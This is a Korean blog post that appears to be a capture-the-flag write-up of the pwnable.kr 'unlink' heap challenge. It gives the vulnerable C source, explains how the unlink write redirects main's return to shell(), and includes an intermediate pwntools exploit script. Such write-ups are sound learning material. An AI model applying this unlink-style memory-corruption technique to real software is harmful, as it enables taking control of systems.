ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • pwnable.kr - unlink
    pwnable.kr 2023. 6. 6. 16:49

    checksec

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    typedef struct tagOBJ{
    	struct tagOBJ* fd;
    	struct tagOBJ* bk;
    	char buf[8];
    }OBJ;
    
    void shell(){
    	system("/bin/sh");
    }
    
    void unlink(OBJ* P){
    	OBJ* BK;
    	OBJ* FD;
    	BK=P->bk;
    	FD=P->fd;
    	FD->bk=BK;
    	BK->fd=FD;
    }
    
    int main(int argc, char* argv[]){
    	malloc(1024);
    	OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    	OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    	OBJ* C = (OBJ*)malloc(sizeof(OBJ));
    
    	// double linked list: A <-> B <-> C
    	A->fd = B;
    	B->bk = A;
    	B->fd = C;
    	C->bk = B;
    
    	printf("here is stack address leak: %p\n", &A);
    	printf("here is heap address leak: %p\n", A);
    	printf("now that you have leaks, get shell!\n");
    	// heap overflow!
    	gets(A->buf);
    
    	// exploit this unlink!
    	unlink(B);
    	return 0;
    }

    double linked list의 unlink를 구현한 코드다. 청크들은 연속된 공간에 할당되어 있고 gets()에서 buffer overflow가 발생한다.

     

    main()

    main함수의 epilogue를 보면 일반적인 함수와는 다르게 return address를 [[ebp-0x4]-0x4]에서 가져오고 있다. 따라서 [ebp-0x4]를 변조할 수 있다면 return address를 shell()로 변경할 수 있다.

     

    return address 변조에 앞서, 위 코드의 unlink() 로직을 간단하게 설명하면 다음과 같다.

     

    C.bk = A.bk
    A.fd = C.fd

     

    OBJ 구조체는 fd_ptr(4bytes), bk_ptr(4bytes), buf(8bytes)로 정의되어 있기때문에 다음과 같이 볼 수 있다.

    [C+4] = [A+4]
    [A] = [C]

     

    그리고 gets()에서 발생하는 buffer overflow를 이용하면 B의 fd와 bk를 변조할 수 있다. 따라서 unlink()에서 link되는 A, C 청크의 주소(B->fd, B->bk)를 다음과 같이 변조한다면 return address를 임의의 주소로 변경할 수 있다.


    A : fd(4bytes), bk(4bytes), shell+BBBB(8bytes)
    B : return_address(4bytes), A->buf(4bytes), buf(8bytes)
    C : fd(4bytes), bk(4bytes), buf(8bytes)

     

    distance of return address from [ebp-4]

    payload 작성에 필요한 return address의 주소는 문제에서 주어진 stack address에서 offset을 계산해 구할 수 있다. (+0x10)

     

    from pwn import *
    
    p = process('./unlink')
    e = ELF('./unlink')
    
    shell = e.symbols['shell']
    
    p.recvuntil('here is stack address leak: ')
    stack_address = int(p.recvline().strip(), 16)
    p.recvuntil('here is heap address leak: ')
    heap_address = int(p.recvline().strip(), 16)
    print(hex(stack_address))
    print(hex(heap_address))
    
    payload = p32(shell) +b"BBBB"*5
    payload += p32(heap_address)
    payload += p32(stack_address + 0x10)
    
    p.sendlineafter('now that you have leaks, get shell!\n', payload)
    p.interactive()

    분석을 토대로 한 중간 PoC다.

     

    debug...

    변조한 return address의 주소가 0xc만큼 엇나간 것을 확인할 수 있다. heap_address를 0xc만큼 수정한다.

     

    728x90

    'pwnable.kr' 카테고리의 다른 글

    pwnable.kr - horcruxes  (0) 2023.06.07
    pwnable.kr - blukat  (1) 2023.06.06
    pwnable.kr - asm  (0) 2023.05.05
    pwnable.kr - memcpy  (0) 2023.05.04
    pwnable.kr - uaf  (0) 2023.04.24
Designed by Tistory.